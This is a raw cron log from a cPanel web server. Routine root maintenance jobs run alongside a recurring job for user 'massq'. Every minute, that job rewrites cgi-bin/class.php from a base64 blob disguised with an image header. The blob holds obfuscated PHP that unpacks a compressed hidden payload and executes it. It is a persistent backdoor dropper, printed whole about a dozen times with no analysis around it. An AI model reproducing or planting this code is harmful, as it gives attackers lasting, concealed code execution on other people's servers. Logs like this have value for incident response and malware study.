Sep  4 22:50:01 server CROND[371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:51:01 server CROND[1331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:51:01 server CROND[1333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:51:01 server CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:52:01 server CROND[1724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:52:01 server CROND[1725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:52:01 server CROND[1726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:53:01 server CROND[2145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:53:01 server CROND[2144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:53:01 server CROND[2146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:54:01 server CROND[2529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:54:01 server CROND[2530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:54:01 server CROND[2533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:55:01 server CROND[3052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:55:01 server CROND[3055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:55:01 server CROND[3054]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 22:55:01 server CROND[3057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 22:55:01 server CROND[3058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:55:01 server CROND[3059]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:55:01 server CROND[3056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:56:01 server CROND[3881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:56:01 server CROND[3882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:56:01 server CROND[3883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:57:01 server CROND[4268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:57:01 server CROND[4267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:57:01 server CROND[4269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:57:01 server CROND[4270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:58:01 server CROND[4663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:58:01 server CROND[4665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 22:58:01 server CROND[4664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:59:01 server CROND[5063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:59:01 server CROND[5064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:59:01 server CROND[5065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:00:01 server CROND[5545]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:00:01 server CROND[5548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:00:01 server CROND[5562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:00:01 server CROND[5565]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:00:01 server CROND[5564]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 23:00:01 server CROND[5568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:00:01 server CROND[5563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:00:01 server CROND[5569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:00:01 server CROND[5571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:01:01 server CROND[6395]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 23:01:01 server CROND[6397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:01:01 server CROND[6396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:01:01 server CROND[6398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:01:01 server run-parts(/etc/cron.hourly)[6395]: starting 0anacron
Sep  4 23:01:01 server run-parts(/etc/cron.hourly)[6415]: finished 0anacron
Sep  4 23:02:01 server CROND[6857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:02:01 server CROND[6858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:02:01 server CROND[6859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
